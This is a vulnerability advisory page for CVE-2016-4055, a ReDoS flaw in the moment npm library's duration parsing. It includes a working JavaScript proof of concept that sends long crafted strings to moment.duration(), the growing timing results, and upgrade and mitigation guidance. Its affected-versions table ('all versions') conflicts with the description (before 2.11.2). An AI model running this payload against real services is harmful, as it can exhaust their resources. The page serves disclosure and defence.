CVE-2016-4055 — moment
MEDIUMCVE-2016-4055 is a medium-severity (CVSS 6.5) Uncontrolled Resource Consumption vulnerability in moment. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for moment — see the affected versions and patch details below.
Regular Expression Denial of Service in moment
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
momentnpmDescription
Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().
Proof of concept
var moment = require('moment');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=20000;i<=10000000;i=i+10000) {
console.log("COUNT: " + i);
var str = '-' + genstr(i, '1')
console.log("LENGTH: " + str.length);
var start = process.hrtime();
moment.duration(str)
var end = process.hrtime(start);
console.log(end);
}
Results
$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]
Recommendation
Please update to version 2.11.2 or later.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | moment | all versions | 2.11.2npm install moment@2.11.2 |
Affected Products
momentmomentjsprimavera unifieroraclenessustenableResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for moment, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update moment to 2.11.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2016-4055 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2016-4055 in your dependencies?
Find it across npm, including transitive dependencies.